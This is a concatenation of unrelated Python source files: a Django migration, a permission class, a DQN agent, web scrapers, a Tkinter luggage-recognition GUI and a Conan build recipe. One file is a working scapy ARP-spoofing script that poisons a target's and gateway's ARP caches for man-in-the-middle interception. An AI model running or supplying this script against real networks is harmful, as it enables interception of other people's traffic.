        migrations.swappable_dependency(settings.AUTH_USER_MODEL),
    ]

    operations = [
        migrations.CreateModel(
            name='Audio',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('name', models.CharField(max_length=64)),
                ('isCover', models.BooleanField()),
                ('url', models.CharField(max_length=64)),
                ('text', models.TextField(max_length=1024)),
                ('authorType', models.IntegerField(default=1)),
                ('rating', models.IntegerField(default=0)),
                ('date', models.DateTimeField(auto_now_add=True)),
            ],
        ),
        migrations.CreateModel(
            name='Comment',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('text', models.TextField(max_length=1024)),
                ('date', models.DateTimeField(auto_now_add=True)),
                ('author', models.ForeignKey(to=settings.AUTH_USER_MODEL)),
            ],
        ),
        migrations.CreateModel(
            name='Content',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('type', models.IntegerField(default=1)),
                ('text', models.TextField(max_length=1024)),
                ('rating', models.IntegerField(default=0)),
                ('views', models.IntegerField(default=0)),
                ('date', models.DateTimeField(auto_now_add=True)),
                ('author', models.ForeignKey(to=settings.AUTH_USER_MODEL)),
            ],
        ),
        migrations.CreateModel(
            name='Event',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('name', models.CharField(max_length=128)),
                ('type', models.IntegerField(default=1)),
                ('dateAdded', models.DateTimeField(auto_now_add=True)),
                ('datePassed', models.DateTimeField()),
                ('rating', models.IntegerField(default=0)),
            ],
        ),
        migrations.CreateModel(
            name='Genre',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('name', models.CharField(max_length=64)),
            ],
        ),
        migrations.CreateModel(
            name='Group',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('name', models.CharField(max_length=64)),
                ('slogan', models.CharField(max_length=128)),
                ('about', models.TextField(max_length=1024)),
                ('city', models.CharField(max_length=64)),
                ('website', models.CharField(max_length=64)),
                ('date_created', models.DateField()),
                ('date_added', models.DateTimeField(auto_now_add=True)),
            ],
        ),
        migrations.CreateModel(
            name='Listener',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('avatar', models.CharField(max_length=64)),
                ('isAgreeTreatment', models.BooleanField(default=True)),
                ('isAgreeDelivery', models.BooleanField(default=True)),
                ('rating', models.IntegerField(default=0)),
                ('date', models.DateTimeField(auto_now_add=True)),
            ],
        ),
        migrations.CreateModel(
            name='Musician',
            fields=[
                ('listener_ptr', models.OneToOneField(parent_link=True, auto_created=True, primary_key=True, serialize=False, to='main.Listener')),
                ('skills', models.TextField(max_length=256)),
                ('playingGenres', models.ManyToManyField(to='main.Genre')),
            ],
            bases=('main.listener',),
        ),
        migrations.CreateModel(
            name='Partner',
            fields=[
                ('listener_ptr', models.OneToOneField(parent_link=True, auto_created=True, primary_key=True, serialize=False, to='main.Listener')),
                ('type', models.IntegerField(default=2)),
                ('isValid', models.BooleanField(default=False)),
                ('address', models.TextField(max_length=256)),
                ('services', models.TextField(max_length=256)),
                ('schedule', models.TextField(max_length=256)),
                ('website', models.CharField(max_length=64)),
                ('prefferedGenres', models.ManyToManyField(to='main.Genre')),
            ],
            bases=('main.listener',),
        ),
        migrations.AddField(
            model_name='listener',
            name='favoriteGenres',
            field=models.ManyToManyField(to='main.Genre'),
        ),
        migrations.AddField(
            model_name='listener',
            name='user',
            field=models.ForeignKey(to=settings.AUTH_USER_MODEL),
        ),
        migrations.AddField(
            model_name='event',
            name='genre',
            field=models.ForeignKey(to='main.Genre'),
        ),
        migrations.AddField(
            model_name='event',
            name='groups',
            field=models.ManyToManyField(to='main.Group'),
        ),
        migrations.AddField(
            model_name='comment',
            name='parent',
            field=models.ForeignKey(to='main.Content'),
        ),
        migrations.AddField(
            model_name='audio',
            name='genre',
            field=models.ForeignKey(to='main.Genre'),
        ),
        migrations.AddField(
            model_name='audio',
            name='group',
            field=models.ForeignKey(to='main.Group'),
        ),
        migrations.AddField(
            model_name='group',
            name='musicians',
            field=models.ManyToManyField(to='main.Musician'),
        ),
        migrations.AddField(
            model_name='event',
            name='musicians',
            field=models.ManyToManyField(to='main.Musician'),
        ),
        migrations.AddField(
            model_name='event',
            name='partners',
            field=models.ManyToManyField(to='main.Partner'),
        ),
        migrations.AddField(
            model_name='audio',
            name='author',
            field=models.ForeignKey(to='main.Musician'),
        ),
    ]


from rest_framework import permissions

class IsOwnerOrReadOnly(permissions.BasePermission):
    '''
    Custom permission to only allow owners of an object ot edit it
    '''

    def has_object_permission(self, request, view, obj):
        '''Read permissions are allowed to get any requests, so GET, HEAD or OPTIONS requests'''
        if request.method in permissions.SAFE_METHODS:
            return True
        '''Write permissions are limited to the owner of the entry'''
        return obj.owner == request.user


from envs.custom_env_dir.custom_dqn import DeepQNetwork
from envs.custom_env_dir.replay_memory import ReplayBuffer
import numpy as np
import torch as T
from datetime import datetime
import os

class DQNAgent(object):
    def __init__(self, gamma, epsilon, lr, n_actions, input_dims, optimizer, fc1_dims, fc2_dims,
                 mem_size, batch_size, chkpt_dir, replace, eps_min, eps_dec,
                 algo, env_name):

        self.gamma = gamma
        self.epsilon = epsilon
        self.lr = lr
        self.n_actions = n_actions
        self.input_dims = input_dims
        self.batch_size = batch_size
        self.eps_min = eps_min
        self.eps_dec = eps_dec
        self.replace_target_cnt = replace
        self.algo = algo
        self.env_name = env_name
        self.chkpt_dir = chkpt_dir
        cwd = os.getcwd()
        self.action_space = [i for i in range(n_actions)]
        self.learn_step_counter = 0
        now = datetime.now().strftime('%Y%m%d_%H%M')

        # Replay memory
        self.memory = ReplayBuffer(mem_size, input_dims, n_actions)

        # Q-network / online network
        self.q_eval = DeepQNetwork(self.lr, self.n_actions,
                                    input_dims=self.input_dims,
                                    name=optimizer+'_gamma'+str(gamma)+'_lr'+\
                                       (('%.15f' % lr).rstrip('0').rstrip('.'))+\
                                       '_replace'+str(replace)+'_HL['+str(fc1_dims)+\
                                       ' ,'+str(fc2_dims)+']_q_eval.pt',chkpt_dir=self.chkpt_dir,\
                                       fc1_dims=fc1_dims, fc2_dims=fc2_dims, seed=1, optimizer=optimizer)

        # Target network
        self.q_next = DeepQNetwork(self.lr, self.n_actions,
                                    input_dims=self.input_dims,
                                    name=optimizer+'_gamma'+str(gamma)+'_lr'+\
                                       (('%.15f' % lr).rstrip('0').rstrip('.'))+\
                                       '_replace'+str(replace)+'_HL['+str(fc1_dims)+\
                                       ' ,'+str(fc2_dims)+']_q_next.pt',chkpt_dir=self.chkpt_dir,\
                                       fc1_dims=fc1_dims, fc2_dims=fc2_dims, seed=1, optimizer=optimizer)

    # Function for action selection
    def choose_action(self, observation):
        # Apply e-greedy action selection
        if np.random.random() > self.epsilon:
            state = T.tensor([observation],dtype=T.float).to(self.q_eval.device)
            actions = self.q_eval.forward(state)
            action = T.argmax(actions).item()
        else:
            action = np.random.choice(self.action_space)

        return action

    # Store state transitions in replay memory
    def store_transition(self, state, action, reward, state_):
        self.memory.store_transition(state, action, reward, state_)

    # Function samples mini-batch of transitions from replay memory
    def sample_memory(self):
        state, action, reward, new_state = \
                                self.memory.sample_buffer(self.batch_size)

        states = T.tensor(state).to(self.q_eval.device)
        rewards = T.tensor(reward).to(self.q_eval.device)
        actions = T.tensor(action).to(self.q_eval.device)
        states_ = T.tensor(new_state).to(self.q_eval.device)

        return states, actions, rewards, states_

    # Function updates weights of the target network every C steps
    def replace_target_network(self):
        if self.learn_step_counter % self.replace_target_cnt == 0:
            self.q_next.load_state_dict(self.q_eval.state_dict())

    # Function decrements epsilon during training process
    def decrement_epsilon(self):
        self.epsilon = self.epsilon - self.eps_dec \
                           if self.epsilon > self.eps_min else self.eps_min

    # Function stores current model parameters
    def save_models(self):
        self.q_eval.save_checkpoint()
        self.q_next.save_checkpoint()

    # Function stores final agent at the end of each training run
    def save_models_final(self):
        self.q_eval.save_checkpoint_final()
        self.q_next.save_checkpoint_final()

    def load_models(self):
        self.q_eval.load_checkpoint()
        self.q_next.load_checkpoint()

    def load_models_final(self):
        self.q_eval.load_checkpoint_final()
        self.q_next.load_checkpoint_final()

    def learn(self):
        if self.memory.mem_cntr < self.batch_size:
            return

        # sets gradient of optimizer object to zero
        self.q_eval.optimizer.zero_grad()

        self.replace_target_network()

        states, actions, rewards, states_ = self.sample_memory()
        indices = np.arange(self.batch_size)

        # q_eval ist the main DQN (online network)
        q_pred = self.q_eval.forward(states)[indices, actions]

        # q_next is the target network
        q_next = self.q_next.forward(states_).max(dim=1)[0]
        q_target = rewards + self.gamma*q_next

        loss = self.q_eval.loss(q_target, q_pred).to(self.q_eval.device)
        loss.backward()
        self.q_eval.optimizer.step()
        self.learn_step_counter += 1

        self.decrement_epsilon()


import scrapy

class Books(scrapy.Spider):
    name = 'books'

    def start_requests(self):
        urls = ['http://books.toscrape.com/catalogue/page-'+str(i)+'.html' for i in range(1,51)]
        for url in urls:
            yield scrapy.Request(url=url, callback=self.parse)

    def parse(self, response):
        for book in response.css('article.product_pod'):
            yield {
                'name': book.css('a::text').get(),
                'price': book.css('p.price_color::text').get(),
                'rating': book.css('p.star-rating::attr(class)').get().split()[1],
            }


import json
import re

import scrapy
from scrapy.selector import Selector

from locations.hours import OpeningHours
from locations.items import Feature

class TropicalSmoothieCafeSpider(scrapy.Spider):
    name = "tropical_smoothie_cafe"
    item_attributes = {"brand": "Tropical Smoothie Cafe", "brand_wikidata": "Q7845817"}
    allowed_domains = ["locations.tropicalsmoothiecafe.com"]
    start_urls = ("https://locations.tropicalsmoothiecafe.com/sitemap.xml",)

    def parse(self, response):
        xml = Selector(response)
        xml.remove_namespaces()

        urls = xml.xpath("//loc/text()").extract()
        urls = [url.strip() for url in urls]
        for url in urls:
            path = scrapy.utils.url.parse_url(url).path
            if re.match(r"^/.*/.*/.*$", path):
                yield scrapy.Request(url, callback=self.parse_location)

    def parse_location(self, response):
        hours_spec = response.css(".Cafe-hours").xpath(".//@data-days").get()
        hours = self.parse_hours(json.loads(hours_spec)) if hours_spec else None
        ref = (
            response.css(
                """
            a.Header-orderOnline[href^="https://ordernow.tropicalsmoothie.com"],
            a.Header-orderOnline[href^="https://order.tropicalsmoothie.com"],
            a.Header-orderOnline[href^="https://order.tropicalsmoothiecafe.com"]
            """
            )
            .attrib["href"]
            .split("/")[-1]
        )

        properties = {
            "name": response.xpath('//h1[@itemprop="name"]/text()').get(),
            "extras": {"branch": response.css("div.Hero-city").xpath("./text()").get()},
            "addr_full": response.xpath('//*[@itemprop="streetAddress"]/@content').get(),
            "city": response.xpath('//*[@itemprop="addressLocality"]/@content').get(),
            "state": response.xpath('//*[@itemprop="addressRegion"]/text()').get(),
            "postcode": response.xpath('//*[@itemprop="postalCode"]/text()').get(),
            "phone": response.xpath('//*[@itemprop="telephone"]/text()').get(),
            "website": response.url,
            "opening_hours": hours,
            "ref": ref,
            "lat": response.xpath('//*[@itemprop="latitude"]/@content').get(),
            "lon": response.xpath('//*[@itemprop="longitude"]/@content').get(),
        }
        yield Feature(**properties)

    def parse_hours(self, hours_json):
        opening_hours = OpeningHours()
        for date in hours_json:
            day = date["day"][:2].capitalize()
            for interval in date["intervals"]:
                start_hr, start_min = divmod(interval["start"], 100)
                end_hr, end_min = divmod(interval["end"], 100)
                opening_hours.add_range(day, f"{start_hr}:{start_min}", f"{end_hr}:{end_min}")
        return opening_hours.as_opening_hours()


import tflib
import tkinter as tk
import os, threading, queue, time, copy #stdlib
from multiprocessing.dummy import Queue
from PIL import ImageTk, Image, ImageDraw, ImageFont
from tkinter import filedialog, font
import numpy as np

def load_image_into_numpy_array(image):
    (im_width, im_height) = image.size
    return np.array(image.getdata()).reshape((im_height, im_width, 3)).astype(np.uint8)

def updatethread(self):
    '''update main image with analyzed image once analysis is complete'''
    while True:
        #print("updatethread")
        if not self.paused:
            image_np, boxes, classes, scores = self.framequeue.get()
            img = tflib.draw_measurements(image_np,boxes,classes,scores)
            image_np = img[0]
            bboxes = img[1]
            self.tfimg = Image.fromarray(np.uint8(image_np)).convert('RGB')
            self.tfimg.thumbnail(self.VIDSIZE,Image.ANTIALIAS)
            self.tfimg = ImageTk.PhotoImage(self.tfimg)
            self.mainimg = self.tfimg
            self.origimg = image_np
            self.bboxes = bboxes
            self.videolabel.configure(image=self.mainimg, width=self.VIDSIZE[0], height=self.VIDSIZE[1])

class BOTTOMBAR(object):
    ''' bottom toolbar beneath main image display'''
    def __init__(oself,self):
        self.fileframe = tk.Frame(self.bottomframe,width=self.TILESIZE*5, height=self.TILESIZE*4)#, bg="#0F0");
        self.fileframe.pack(side=tk.TOP, anchor="w")
        self.filebtn=tk.Button(self.fileframe,text='ADD IMAGE OR VIDEO', anchor="w", command=self.change_file)
        self.filebtn['font'] = self.bfont
        self.filebtn.pack(side=tk.LEFT)

        self.filename = tk.StringVar()
        self.filelabel = tk.Label(self.fileframe, textvariable=self.filename, relief='sunken')#image=img)
        self.filelabel['font'] = self.pfont
        self.filelabel.pack(side=tk.LEFT)
        self.filename.set('NO FILE SELECTED')

        self.dividerframe = tk.Frame(self.bottomframe,width=64,height=6)
        self.dividerframe.pack(side=tk.TOP)

        self.bottombtnframe = tk.Frame(self.bottomframe)
        self.bottombtnframe.pack(side=tk.TOP, anchor="w")

        self.originalbtn=tk.Button(self.bottombtnframe,text='show original file', command=self.show_original)
        self.originalbtn['font'] = self.bfont
        self.originalbtn.pack(side=tk.LEFT)

        self.analyzedbtn=tk.Button(self.bottombtnframe,text='show analyzed file', command=self.show_analyzed)
        self.analyzedbtn['font'] = self.bfont
        self.analyzedbtn.pack(side=tk.LEFT)

        self.pausestr = tk.StringVar()
        self.pausestr.set('pause')
        self.pausebtn=tk.Button(self.bottombtnframe,textvariable=self.pausestr, command=self.playpause)
        self.pausebtn['font'] = self.bfont
        self.pausebtn.pack(side=tk.LEFT)

        self.fillerframe = tk.Frame(self.bottomframe,width=self.TILESIZE,height=self.TILESIZE)#, bg="#C00")
        self.fillerframe.pack(side=tk.TOP)

class RIGHTBAR(object):
    ''' right tool bar / previous results '''
    def __init__(oself,self):
        self.histimg1 = Image.new('RGB',self.THUMBSIZE)
        self.histimg1 = ImageTk.PhotoImage(self.histimg1)
        self.histpath1=None

        self.histimg2 = Image.new('RGB', self.THUMBSIZE)
        self.histimg2 = ImageTk.PhotoImage(self.histimg2)
        self.histpath2=None

        self.histimg3 = Image.new('RGB', self.THUMBSIZE)
        self.histimg3 = ImageTk.PhotoImage(self.histimg3)
        self.histpath3=None
        self.histlabel1 = tk.Label(self.rightframe, image=self.histimg1)
        self.histlabel1.bind("<Button-1>",lambda e:self.load_previous(1))

        self.histlabel2 = tk.Label(self.rightframe, image=self.histimg2)
        self.histlabel2.bind("<Button-1>",lambda e:self.load_previous(2))

        self.histlabel3 = tk.Label(self.rightframe, image=self.histimg3)
        self.histlabel3.bind("<Button-1>",lambda e:self.load_previous(3))

        self.histlabel1.pack(side=tk.TOP,anchor="c")
        self.histlabel2.pack(side=tk.TOP)#, anchor="n",fill=tk.X, expand=tk.YES)
        self.histlabel3.pack(side=tk.TOP)

        #img0 is a placeholder to fill UI space
        self.histimg0 = Image.new('RGBA', self.THUMBSIZE)
        self.histimg0 = ImageTk.PhotoImage(self.histimg0)
        self.histlabel0 = tk.Label(self.rightframe, image=self.histimg0)
        self.histlabel0.pack(side=tk.TOP, anchor="n",fill=tk.BOTH, expand=1)

class VIDEOBOX(object):
    '''main image view or video feed'''
    def __init__(oself, self):
        #THE IMAGE TO PROCESS
        self.rawimg = Image.new('RGB', self.VIDSIZE)
        self.rawimg = ImageTk.PhotoImage(self.rawimg)

        #THE PROCESSED IMAGE
        self.tfimg = Image.new('RGB', self.VIDSIZE)
        self.tfimg = ImageTk.PhotoImage(self.tfimg)

        #THE DISPLAYED IMAGE COULD BE EITHER OF THE ABOVE
        self.mainimg = Image.new('RGB', self.VIDSIZE)
        self.mainimg = ImageTk.PhotoImage(self.mainimg)

        self.origimg = None
        self.bboxes = None

        self.videolabel = tk.Label(self.videoframe, image=self.mainimg)#text="IMAGE OR VIDEO NOT YET LOADED")#image=img)
        self.videolabel.pack(side=tk.TOP)
        self.videolabel.configure(image=self.mainimg, width=self.VIDSIZE[0], height=self.VIDSIZE[1])
        self.videolabel.bind("<Button-1>", self.mouse_function)

class GUI(object):
    '''the main GUI window'''
    def __init__(self, root):
        self.TILESIZE = 128
        thumbscale = 1.95
        self.paused = False
        self.THUMBSIZE =  (int(self.TILESIZE*thumbscale),int(self.TILESIZE*thumbscale/1.7777777))
        self.VIDSIZE = (self.TILESIZE*5,int(self.TILESIZE*5/1.777777))
        self.root = root
        self.root.title("LUGGAGE RECOGNIZER")
        self.root.geometry("%dx%d" %(self.TILESIZE*7,int(self.TILESIZE*3.5)))
        self.root.protocol("WM_DELETE_WINDOW",self.shutdown)

        self.bfont = font.Font(family='Helvetica', size=12, weight='bold')
        self.pfont = font.Font(family='Helvetica', size=12)
        self.mfont = ImageFont.truetype(font='roboto.ttf', size=18)

        self.leftframe = tk.Frame(self.root,width=self.TILESIZE*5, height=self.TILESIZE*4)#, bg="#0F0");
        self.leftframe.pack(side=tk.LEFT)

        self.rightframe = tk.Frame(self.root,width=self.TILESIZE*2, height=self.TILESIZE*4)#, bg="#FFF")
        self.rightframe.pack(side=tk.LEFT)

        self.videoframe = tk.Frame(self.leftframe,width=self.VIDSIZE[0], height=self.VIDSIZE[1])#, bg="#222")
        self.videoframe.pack(side=tk.TOP,fill=None, expand=False)

        self.bottomframe = tk.Frame(self.leftframe,width=self.VIDSIZE[0],height=self.TILESIZE)#, bg="#E80")
        self.bottomframe.pack(side=tk.LEFT)

        self.videobox = VIDEOBOX(self)
        self.bottombar = BOTTOMBAR(self)
        self.rightbar = RIGHTBAR(self)

    def shutdown(self):
        '''cleanly exit threads, databases, serial ports, etc? TODO/if necessary'''
        #time.sleep(0.1)
        self.root.destroy()

    def show_original(self):
        '''show original image w/o analysis labels'''
        self.videolabel.configure(image=self.rawimg, width=self.VIDSIZE[0], height=self.VIDSIZE[1])

    def show_analyzed(self):
        '''show image w/ analysis labels'''
        self.videolabel.configure(image=self.tfimg, width=self.VIDSIZE[0], height=self.VIDSIZE[1])

    def playpause(self):
        '''set video playing state'''
        if self.paused:
            self.paused = False
            self.pausestr.set('pause')

        else:
            self.paused = True
            self.pausestr.set('play')

    def load_previous(self,num):
        '''load a historical image as chosen from right toolbar'''
        print('LOADPREV:',num)
        path = getattr(self,'histpath'+str(num))
        print('loading histpath:',path)
        self.set_image(path)

    def mouse_function(self,e):
        ''' when user clicks image, check mouse coords to see if it is in the bounding box for a luggage item, if so, display size '''
        if self.origimg:
            image = self.origimg
            #GET MOUSE POSITION RELATIVE TO IMAGE
            dispwidth = self.mainimg.width() #width of scaled image on screen
            dispheight = self.mainimg.height()
            scale = image.size[0] / dispwidth
            offsetx = (self.VIDSIZE[0] - dispwidth)/2
            offsety = (self.VIDSIZE[1] - dispheight)/2
            #rx = mouse position relative to image
            rx = e.x - offsetx
            ry = e.y - offsety
            rx *= scale
            ry *= scale

            #---------------------------
            newimg = copy.copy(image) #draw on a scaled copy of the original image, since bounding box coords are according to original dimensions
            draw = ImageDraw.Draw(newimg)
            for box in self.bboxes:
                xpos,ypos,x2pos,y2pos = box
                if (xpos < rx < x2pos) and (ypos < ry < y2pos):
                    display_str = 'SIZE: %.0fx%.0f CM' %(x2pos-xpos, y2pos-ypos)
                    text_width, text_height = self.mfont.getsize(display_str)
                    #draw.rectangle([(xpos, ypos),(x2pos, y2pos),], fill='#F005')
                    draw.rectangle([
                            (xpos, ypos),
                            (xpos + text_width, ypos + text_height+4),
                        ],
                            fill='red')
                    draw.line([(xpos,ypos), (xpos, y2pos), (x2pos, y2pos),
                        (x2pos, ypos), (xpos, ypos)], width=7, fill='#F00')
                    display_str = 'SIZE: %.0fx%.0f CM' %(x2pos-xpos, y2pos-ypos)
                    text_width, text_height = self.mfont.getsize(display_str)
                    margin = np.ceil(0.05 * text_height)
                    draw.text((xpos, ypos), display_str, fill='white', font=self.mfont)

            newimg.thumbnail(self.VIDSIZE,Image.ANTIALIAS)
            self.mainimg=ImageTk.PhotoImage(newimg)

            self.videolabel.configure(image=self.mainimg, width=self.VIDSIZE[0], height=self.VIDSIZE[1])

    def set_image(self,fname):
        '''set an image to the main window from a filepath to image'''
        openedimg = Image.open(fname)
        self.tque.put(load_image_into_numpy_array(openedimg))
        self.mainimg = openedimg
        self.mainimg.thumbnail(self.VIDSIZE,Image.ANTIALIAS)
        self.mainimg = ImageTk.PhotoImage(self.mainimg)
        self.rawimg = self.mainimg
        self.videolabel.configure(image=self.mainimg, width=self.VIDSIZE[0], height=self.VIDSIZE[1])

    def clear_queues(self):
        for q in [self.tque,self.framequeue]:
            q.mutex.acquire()
            q.queue.clear()
            q.all_tasks_done.notify_all()
            q.unfinished_tasks = 0
            q.mutex.release()

    def change_file(self):
        '''prompt user to input new image or video file'''
        images = ['jpg','jpeg','png']
        videos = ['mp4','m4v']
        allowed_names = videos + images
        isimage = False

        fname = filedialog.askopenfilename()
        if not fname:
            print('no file selected')
            return None
        else:
            ext = fname.split('.')[-1]

        if not ext.lower() in allowed_names:
            print('unknown filetype, must be jpg, jpeg, png, mp4, or m4v')
            return None
        if ext.lower() in images:
            isimage = True

        self.clear_queues()
        #stop adding stuff to queue
        if self.videosupport: self.cvcommandqueue.put(0xDEAD)

        self.filename.set(os.path.basename(fname))
        #updatepaths to historical images
        self.histpath3 = self.histpath2
        self.histpath2 = self.histpath1
        self.histpath1 = fname

        if isimage:
            self.set_image(fname)
            #update historical images on right toolbar
            self.histimg3=self.histimg2
            self.histimg2=self.histimg1
            tempimg = Image.open(fname)
            tempimg.thumbnail(self.THUMBSIZE,Image.ANTIALIAS)
            self.histimg1 = ImageTk.PhotoImage(tempimg)
            #update recent images:
            self.histlabel1.configure(image=self.histimg1)
            self.histlabel2.configure(image=self.histimg2)
            self.histlabel3.configure(image=self.histimg3)

        else:
            #VIDEO
            print('video integration in dev')
            if self.videosupport:
                print('video support enabled')
                self.cvcommandqueue.put(fname)
                print('added video file to cv command queue')
                pass

    def run(self,videosupport=False,debug=False,cpulimit=False):
        '''start the application!'''
        self.tque = Queue()#(maxsize=120)
        self.framequeue = Queue()#(maxsize=120)
        self.cvcommandqueue = Queue()
        self.videosupport = videosupport

        self.cvthread = None
        if self.videosupport:
            self.cvthread = threading.Thread(target=tflib.cvworker,args=(self.tque,self.cvcommandqueue,cpulimit))
            self.cvthread.daemon = True
            self.cvthread.start()
        self.tthread = threading.Thread(target=tflib.tfworker,args=(self.tque,self.framequeue,cpulimit))
        self.tthread.daemon = True
        self.tthread.start()

        #'''
        self.updatethread = threading.Thread(target=updatethread,args=(self,))
        self.updatethread.daemon = True
        self.updatethread.start()
        #'''
        self.debug=debug
        if self.debug:
            self.root.after(500,self.set_image,'demo5.jpg')
        self.root.mainloop()
#----------------------

if __name__ == '__main__':
    gui = GUI(tk.Tk())
    gui.run(videosupport=True,debug=True,cpulimit=True)


#!/usr/bin/env python

import scapy.all as scapy
import argparse
import subprocess
import time

def get_arguments():
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", dest="target", help="Target's IP Address")
    parser.add_argument("-g", "--gateway", dest="gateway", help="Gateway / Router's IP Address")
    options = parser.parse_args()
    if not options.target:
        print("[-] Please specify target IP address, use --help for more info")

    if not options.gateway:
        print("[-] Please specify router IP address, use --help for more info")
    return options

# def enable_prot_forwarding():
#     subprocess.call(["echo", "1", ">", "/proc/sys/net/ipv4/ip_forward"], stdout=True)

def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]

    return answered_list[0][1].hwsrc

def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)

def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
    scapy.send(packet, count=4, verbose=False)

# enable_prot_forwarding()
options = get_arguments()
if not options.target:
    exit()
if not options.gateway:
    exit()
target_ip = options.target
gateway_ip = options.gateway
sent_packets_count = 0

try:
    while True:
        try:
            spoof(target_ip, gateway_ip)
            spoof(gateway_ip, target_ip)
        except IndexError:
            pass
            print("Could not find the target !!")
        # spoof(gateway_ip, target_ip)
        sent_packets_count += 2
        print("\r[+] Sent Packets: " + str(sent_packets_count), end='')
        time.sleep(2)

except KeyboardInterrupt:
    print("\n[+] Detected Ctrl + C \t Resetting ARP Tables.....")
    restore(target_ip, gateway_ip)
    restore(gateway_ip, target_ip)


#!/usr/bin/env python
# -*- coding: utf-8 -*-

from conans import ConanFile, CMake, AutoToolsBuildEnvironment, tools
import os

class LibmongocConan(ConanFile):
    name = "libmongoc"
    version = "1.9.2"
    url = "https://github.com/DEGoodmanWilson/conan-libmongoc"
    description = "Keep it short"
    license = "https://github.com/mongodb/mongo-c-driver/blob/master/COPYING"
    exports_sources = ["CMakeLists.txt", "LICENSE.md"]
    settings = "os", "arch", "compiler", "build_type"
    options = {"shared": [True, False]}
    default_options = "shared=False"
    #use static org/channel for libs in conan-center
    #use version ranges for dependencies unless there's a reason not to
    requires = "OpenSSL/[>=1.0.2l]@conan/stable", \
        "libbson/1.9.2@theirix/stable"

    # def requirements(self):
        #use dynamic org/channel for libs in DEGoodmanWilson
        # self.requires.add("libuv/[>=1.15.0]@DEGoodmanWilson/stable")

    def source(self):
        # https://github.com/mongodb/mongo-c-driver/releases/download/1.9.2/mongo-c-driver-1.9.2.tar.gz
        source_url = "https://github.com/mongodb/mongo-c-driver/releases/download"
        tools.get("{0}/{1}/mongo-c-driver-{1}.tar.gz".format(source_url, self.version))
        extracted_dir = "mongo-c-driver-" + self.version
        os.rename(extracted_dir, "sources")
        #Rename to "sources" is a convention to simplify later steps

    def _build_cmake(self):
        cmake = CMake(self)
        cmake.definitions["BUILD_TESTS"] = False # example
        cmake.configure(source_dir="sources")
        cmake.build()

    def _build_autotools(self):
        with tools.chdir("sources"):
            env_build = AutoToolsBuildEnvironment(self)

            args = []

            if(self.options.shared):
                args.append("--enable-shared=true")
            else:
                args.append("--enable-static=true")

            env_build.configure(args=args)
            env_build.make()

    def build(self):
        if self.settings.os == "Windows" and self.settings.compiler == "Visual Studio":
            self._build_cmake()
        else:
            self._build_autotools()

    def package(self):
        with tools.chdir("sources"):
            self.copy(pattern="LICENSE")
            self.copy(pattern="*", dst="include", src="include")
            self.copy(pattern="*.dll", dst="bin", src="bin", keep_path=False)
            self.copy(pattern="*.lib", dst="lib", src="lib", keep_path=False)
            self.copy(pattern="*.a", dst="lib", src="lib", keep_path=False)
            self.copy(pattern="*.so*", dst="lib", src="lib", keep_path=False)
            self.copy(pattern="*.dylib", dst="lib", src="lib", keep_path=False)

    def package_info(self):
        self.cpp_info.libs = tools.collect_libs(self)